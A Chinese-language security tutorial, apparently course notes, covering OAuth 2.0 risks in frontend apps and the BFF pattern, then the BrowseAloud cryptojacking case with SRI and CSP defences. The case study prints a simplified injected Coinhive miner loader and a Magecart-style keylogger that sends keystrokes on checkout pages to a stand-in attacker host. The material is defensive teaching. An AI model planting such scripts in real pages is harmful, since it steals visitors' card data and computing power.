OAuth 2.0 解决的是一个不同的问题:访问资源。在规范术语中,资源通常是“资源服务器”,但在现代应用中,我们通常称之为 API。OAuth 2.0 的核心目标是让客户端应用能够代表用户访问 API。

整个 OAuth 生态系统可以看作一个三角形:

  • 客户端:代表用户发起请求的应用。
  • 授权服务器:颁发访问令牌的实体。
  • 资源服务器(API):托管受保护资源的实体,它根据访问令牌做出授权决策。

最终,客户端获得一个访问令牌,用于访问 API。API 则通过令牌内省或验证 JWT 签名等方式,与授权服务器协作完成授权。

OAuth 2.0 的演进与前端挑战

原始的 OAuth 2.0 规范发布于 2012 年,距今已有十多年。当时,移动应用和现代单页应用(如 Angular、React、Vue)尚未普及,规范主要关注后端应用。

随着技术发展,我们为流程添加了安全特性。在过去五年左右,业界的最佳实践是:对于涉及用户的场景,统一使用授权码流程

上一节我们介绍了 OAuth 2.0 的基本概念,本节中我们来看看授权码流程在前端是如何工作的,以及它带来了哪些固有风险。

前端中的授权码流程

以下是授权码流程的简化视图:

  1. 用户通过前端应用(OAuth 客户端)表示希望授权该应用访问某个 API。
  2. 前端应用引导浏览器导航到授权服务器,发起 OAuth 流程。
  3. 授权服务器要求用户进行身份认证(例如,输入用户名和密码)。
  4. 用户认证成功后,授权服务器生成一个临时的授权码,并通过浏览器(前端信道)将其返回给前端应用。
  5. 前端应用使用这个授权码,向授权服务器的后端端点请求交换令牌。
  6. 授权服务器验证请求后,返回访问令牌(可能还有刷新令牌)。
  7. 前端应用使用访问令牌调用 API。

这个流程的关键在于,敏感的令牌交换步骤(授权码换令牌)是通过后端信道完成的,而授权码本身是临时的,即使在前端信道被截获,其危害也有限。

前端 OAuth 客户端的职责

在这种实现模式下,前端应用承担了多项职责:

  • 作为 OAuth 客户端:运行 OAuth 流程,通常借助客户端库。
  • 令牌管理:负责存储、维护访问令牌和刷新令牌,并在令牌过期时使用刷新令牌获取新令牌。
  • 调用 API:在请求 API 时,在 Authorization 头中携带访问令牌。

当恶意 JavaScript 出现时:威胁模型

现在,我们来探讨核心问题:当恶意 JavaScript 代码在前端应用中执行时会发生什么?这是前端世界面临的最大威胁之一。

恶意代码可能通过以下方式注入:

  • 供应链攻击:第三方 JavaScript 库被篡改。
  • 跨站脚本攻击:应用存在 XSS 漏洞,允许攻击者注入并执行恶意脚本。

一旦恶意代码运行,它可以做任何合法应用能做的事情。传统的认知是,攻击者会窃取令牌。但这只是冰山一角。

以下是基于 OAuth 2.0 安全最佳实践文档构建的完整威胁模型:

  1. 单次令牌窃取:攻击者窃取当前的访问令牌或刷新令牌并立即使用。这是最基础的攻击。
  2. 持续令牌窃取:攻击者持续监控并窃取最新的令牌(包括刷新令牌),使短期令牌失效的策略效果有限。
  3. 应用劫持与新令牌获取:攻击者完全绕过应用的令牌存储。他们可以在用户浏览器中悄无声息地发起一个新的、独立的 OAuth 流程(例如,通过隐藏的 iframe),获取一套全新的、与应用现有令牌无关的令牌。这彻底绕过了基于令牌的防御措施。
  4. 通过用户浏览器代理请求(客户端劫持):攻击者不窃取令牌,而是直接在前端中发送恶意请求到 API。由于请求发自用户的浏览器并自动携带令牌(如存储在 Cookie 中,或由应用代码添加),API 无法区分这是合法请求还是恶意请求。这是 XSS 的固有威胁,无法通过 OAuth 本身解决。

关键结论:将 OAuth 逻辑直接放在前端,不仅没有解决传统 Web 应用(使用会话 Cookie)中 XSS 带来的客户端劫持问题,反而将在线攻击升级为离线攻击(攻击者可以脱离用户会话滥用窃取的令牌),显著扩大了攻击面。

为何传统防御措施效果有限

针对令牌窃取,常见的建议是使用短期访问令牌刷新令牌轮换。让我们分析一下刷新令牌轮换为何不是可靠的安全措施。

刷新令牌轮换机制是指:每次使用刷新令牌获取新的访问令牌时,授权服务器会同时颁发一个新的刷新令牌,并使旧的刷新令牌失效。如果检测到旧的刷新令牌被重复使用,授权服务器会认为令牌已泄露,并撤销整个令牌链。

这个机制听起来不错,但聪明的攻击者可以轻易绕过:

  • 等待应用离线:攻击者窃取刷新令牌后,并不立即使用,而是持续窃取最新令牌。当检测到用户关闭应用或标签页(应用离线)后,再使用窃取的刷新令牌。此时,合法应用不会触发令牌失效检测,攻击者可以维持一个活跃的令牌链。
  • 删除客户端令牌:攻击者窃取令牌后,如果可能,会尝试删除客户端存储的令牌,导致合法应用无法使用,而攻击者可以独占使用。

演示表明,一个简单的攻击脚本就能实现上述绕过。因此,刷新令牌轮换主要是一种干扰措施,而非坚实的安全防线。它给开发者一种虚假的安全感,但无法阻止有能力的攻击者。

解决方案:后端前端模式

既然将 OAuth 放在前端会引入额外风险,而传统的后端 OAuth 客户端(机密客户端)没有这些问题,那么解决方案就是:为前端应用引入一个轻量的后端组件,即后端前端

BFF 的核心思想是:将 OAuth 客户端职责、令牌管理和 API 调用代理转移到一个受控的后端服务中。前端不再直接处理 OAuth 或令牌。

BFF 架构详解

在新的架构中:

  1. BFF 作为机密 OAuth 客户端:BFF 使用客户端 ID 和密钥向授权服务器进行认证。它代表前端处理整个授权码流程。
  2. 前端与 BFF 使用安全 Cookie 通信:用户会话状态通过一个设置了 HttpOnlySecureSameSite=Strict 等属性的安全 Cookie 在浏览器和 BFF 之间维护。前端 JavaScript 无法读取此 Cookie 的内容
  3. API 调用通过 BFF 代理:前端不再直接调用业务 API。它调用 BFF 上对应的端点(例如 /bff/reviews),BFF 收到请求后,使用关联的会话 Cookie 查找对应的访问令牌,然后将请求代理到实际的业务 API,并附上访问令牌。

BFF 如何缓解威胁

让我们回顾之前的威胁模型,看看 BFF 如何应对:

  1. 令牌窃取基本消除。令牌存储在 BFF 后端(或加密在 Cookie 中但前端不可读),恶意 JavaScript 无法直接访问。
  2. 持续令牌窃取基本消除。原因同上。
  3. 应用劫持与新令牌获取极大缓解。攻击者虽然仍可能在前端发起新的 OAuth 流程并获取授权码,但他们无法用这个授权码换到令牌,因为交换步骤需要 BFF 的客户端凭证(密钥)进行认证。没有凭证,授权服务器会拒绝请求。
  4. 客户端劫持仍然存在,但攻击面缩小。这是 XSS 的固有问题,BFF 无法根除。然而,BFF 成为了一个策略执行点。前端只暴露它需要的 API 端点给 BFF,BFF 也只代理这些端点。即使业务 API 有 20 个端点,攻击者也只能通过 BFF 访问前端实际使用的 5 个,有效减少了攻击面。此外,BFF 还是实施速率限制、请求格式校验等额外安全措施的理想位置。

BFF 的优势与实施

  • 简化前端:前端开发者可以移除复杂的 OAuth 客户端库和令牌管理逻辑,只需处理 UI 和与 BFF 的简单 HTTP 通信。
  • 安全性提升:将 OAuth 提升到机密客户端的安全级别。
  • 对现有系统改动小:业务 API 和授权服务器几乎无需改动。主要工作是构建或部署 BFF,并调整前端调用方式。
  • BFF 是通用组件:一个设计良好的 BFF 框架可以通过配置服务于多个不同的前端应用。

重要提示:BFF 是前端组件,它与特定的前端应用(对应一个 OAuth 客户端 ID)绑定,而不是与业务 API 绑定。每个前端应用应有自己的 BFF 实例或配置。

总结与核心建议

本节课中我们一起学习了 OAuth 2.0 在前端环境下面临的深刻安全挑战,以及如何通过架构设计来有效应对。

核心要点总结

  1. 前端直接实现 OAuth 会增加风险:它把在线会话劫持问题,变成了可离线的、权限更大的令牌滥用问题。必须正视这一事实。
  2. 采用 BFF 模式是安全最佳实践:对于任何安全敏感的应用,强烈建议使用 BFF。它不仅能提升安全性,还能简化前端开发。BFF 是目前唯一能有效应对前述多种威胁的架构模式。
  3. 安全编码与深度防御至关重要:BFF 解决了 OAuth 相关的特定威胁,但没有消除跨站脚本的根本风险。客户端劫持威胁依然存在。因此,必须持续投入:
    • 采用安全的编码实践防止 XSS。
    • 实施内容安全策略等深度防御措施。
    • 使用现代浏览器安全特性如 Trusted Types。

最终建议:请阅读 OAuth 2.0 安全最佳实践文档,特别是关于浏览器应用的部分。它详细阐述了这些威胁和解决方案。在设计和构建前端应用时,请优先考虑 BFF 架构,为你和你的用户构建更安全的体验。

025:一次政府网站加密劫持攻击的后果与防御 🛡️

在本节课中,我们将通过一个真实案例,学习什么是加密劫持攻击,它是如何通过第三方依赖链大规模传播的,以及我们可以采取哪些简单有效的措施来保护自己的网站。

概述

故事始于一个周日的早晨。一位朋友访问英国信息专员办公室(ICO)的官方网站时,其杀毒软件弹出了恶意软件警告。随后的调查揭示,这并非孤立事件,而是波及全球数千个政府网站的大规模加密劫持攻击。攻击者并未直接攻击目标网站,而是通过入侵一个为这些网站提供文本朗读功能的小型第三方供应商,实现了“一次入侵,全网感染”。

上一节我们介绍了事件的起因,本节中我们来看看攻击的具体细节。

攻击是如何发生的?

攻击的核心在于一个看似无害的第三方JavaScript库。政府网站为了满足无障碍访问要求,引入了一个名为“BrowseAloud”的文本朗读插件。攻击者成功入侵了该供应商,并在其提供的JavaScript文件中注入了恶意代码。

恶意代码分析

被注入的恶意代码经过混淆处理,但解码后其逻辑非常简单:

// 这是一个简化的示例,展示了恶意代码的核心逻辑
var script = document.createElement('script');
script.src = 'https://coinhive.com/lib/coinhive.min.js';
document.head.appendChild(script);

// 配置并启动加密货币挖矿程序
script.onload = function() {
    var miner = new CoinHive.Anonymous('攻击者的钱包地址');
    miner.start();
};

这段代码的作用是动态加载Coinhive加密货币挖矿库,并利用访问者的CPU资源为攻击者挖掘门罗币。

攻击链梳理

以下是攻击的完整链条:

  1. 入侵供应商:攻击者通过钓鱼或弱凭证等方式,入侵了BrowseAloud公司的系统。
  2. 污染资源:攻击者修改了该公司托管在云存储(如AWS S3)上的公共JavaScript文件。
  3. 自动传播:所有引用了该污染文件的网站,在用户访问时都会自动执行挖矿脚本。
  4. 持续获利:攻击者坐收渔利,利用海量政府网站的访问流量进行挖矿。

上一节我们剖析了攻击手法,本节中我们来看看这次事件暴露出的核心安全问题。

核心问题:JavaScript的“空白支票”

这次事件最根本的问题,在于我们如何引入第三方资源。观察一下受感染网站引入该插件的代码:

<script src="https://cdn.browsealoud.com/browsealoud.js"></script>

这个<script>标签就像一张签署好的空白支票。 它向浏览器发出的指令是:“去这个网址,拿到一些JavaScript代码,然后无条件地执行它。”我们不知道代码会做什么、有多少、是否会改变。我们完全信任了第三方。

当网站自身有严格的代码变更、测试和上线流程时,却允许一个外部供应商无需任何审批即可将代码直接部署到生产环境,这构成了巨大的安全落差。

上一节我们指出了信任模型的缺陷,本节中我们来看看如何通过技术手段解决这个问题。

防御方案一:子资源完整性(SRI)

子资源完整性(Subresource Integrity, SRI)是一种浏览器原生安全特性,用于确保引入的第三方资源未被篡改。

SRI的工作原理

你需要在<script><link>标签中添加integrity属性,其值是资源文件的加密哈希值(如SHA-256)。浏览器在下载文件后,会计算其哈希值并与integrity属性中的值比对。如果不匹配,浏览器将拒绝执行或加载该资源。

如何实施SRI

以下是实施SRI的示例:

<script src="https://cdn.example.com/library-v1.2.3.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous">
</script>

关键点

  • 版本锁定:SRI要求资源有固定的版本路径(如library-v1.2.3.js),而不是指向“最新版”(如latest.js)。在本案例中,我们最终迫使供应商提供了版本化路径。
  • 生成哈希:你可以使用在线工具(如Report URI的SRI Hash生成器)或命令行工具来生成哈希值。

SRI能有效防止托管在CDN上的资源被篡改。但它的一个限制是要求资源必须是静态、版本化的。

上一节我们学习了如何锁定资源完整性,本节中我们来看一个更灵活、功能更强大的防御工具。

防御方案二:内容安全策略(CSP)

内容安全策略(Content Security Policy, CSP)是一个更全面的安全层,它通过HTTP响应头来声明允许加载哪些资源,从而显著减少XSS等攻击的风险。

CSP如何阻止本次攻击

一个简单的CSP策略可以这样设置:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.browsealoud.com;

这个策略表示:

  • default-src ‘self’:默认只允许加载同源(自己域名下)的资源。
  • script-src ‘self’ https://cdn.browsealoud.com:脚本只能从同源或指定的browsealoud.com域名加载。

即使恶意代码被注入到允许的browsealoud.com脚本中,CSP还能在以下环节发挥作用:

  1. 阻止加载:如果恶意代码尝试加载来自coinhive.com的脚本,由于该域名不在允许列表内,请求会被浏览器直接阻止。
  2. 阻止通讯:CSP的connect-src指令可以控制页面能向哪些地址发送数据。即使挖矿代码被直接嵌入,当它尝试连接coinhive.com上报数据时,也会被拦截。
  3. 接收报告:你可以通过添加report-urireport-to指令,让浏览器将违规行为以JSON格式报告给你指定的端点,从而实现攻击监控。
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.browsealoud.com; report-uri /csp-report-endpoint;

上一节我们探讨了两种关键技术防御手段,本节中我们来看看攻击模式的演变以及更深层的启示。

攻击的演变:从加密劫持到Magecart

攻击者很快发现,在网站上偷偷挖矿收益有限。于是,一种更“高效”的攻击模式——Magecart(数字信用卡窃取)——开始盛行。

Magecart攻击模式

攻击手法类似,依然是入侵第三方供应商或网站,注入恶意JavaScript。但 payload 变成了一个简单的键盘记录器:

// 简化的Magecart键盘记录器逻辑
if (window.location.href.includes('/checkout')) {
    document.addEventListener('keydown', function(event) {
        // 将按键数据发送到攻击者控制的服务器
        fetch('https://attacker-server.com/log', { method: 'POST', body: event.key });
    });
}

这种攻击针对支付页面,窃取用户输入的信用卡号、有效期、安全码等所有信息。由于对用户体验无影响,潜伏期可以很长,危害极大。英国航空和Ticketmaster等公司都曾因此遭受数亿英镑的损失。

核心启示

  • 依赖链是薄弱环节:现代攻击者不再总是正面攻击防护严密的大型目标,而是寻找其生态链中最薄弱的第三方依赖。
  • 脚本注入是“万能钥匙”:一旦攻击者能够向你的页面注入JavaScript,他们几乎可以做任何事情:窃取数据、篡改内容、发起勒索,或者只是像本案一样低调地挖矿。他们只是“选择”不做得更过分。

总结

本节课中我们一起学习了一次全球性的政府网站加密劫持攻击案例。我们了解到:

  1. 攻击路径:攻击通过入侵一个第三方无障碍插件供应商实现,污染了其提供的JavaScript文件,导致所有使用该插件的网站被感染。
  2. 根本问题:不加验证地引入第三方<script>标签,相当于给出了一张执行任意代码的“空白支票”。
  3. 防御措施
    • 子资源完整性(SRI):为第三方静态资源添加哈希校验,确保其未被篡改。公式<script integrity="sha256-...">
    • 内容安全策略(CSP):通过HTTP头定义资源加载白名单,并能阻止数据外泄、接收违规报告。代码Content-Security-Policy: script-src ‘self’ https://trusted.cdn.com;
  4. 攻击演进:此类脚本注入攻击已从加密劫持发展为更危险的Magecart信用卡窃取。
  5. 行动号召:立即审计你网站上的所有第三方脚本,尽可能为它们添加SRI校验,并制定和实施CSP策略。保护你的网站,不再给攻击者留下“空白支票”。

安全是一个持续的过程,从理解风险开始,到实施正确的控制措施结束。希望这个案例能帮助你更好地保护你的应用。

posted @ 2026-03-29 09:23  绝不原创的飞龙  阅读(6)  评论(0)    收藏  举报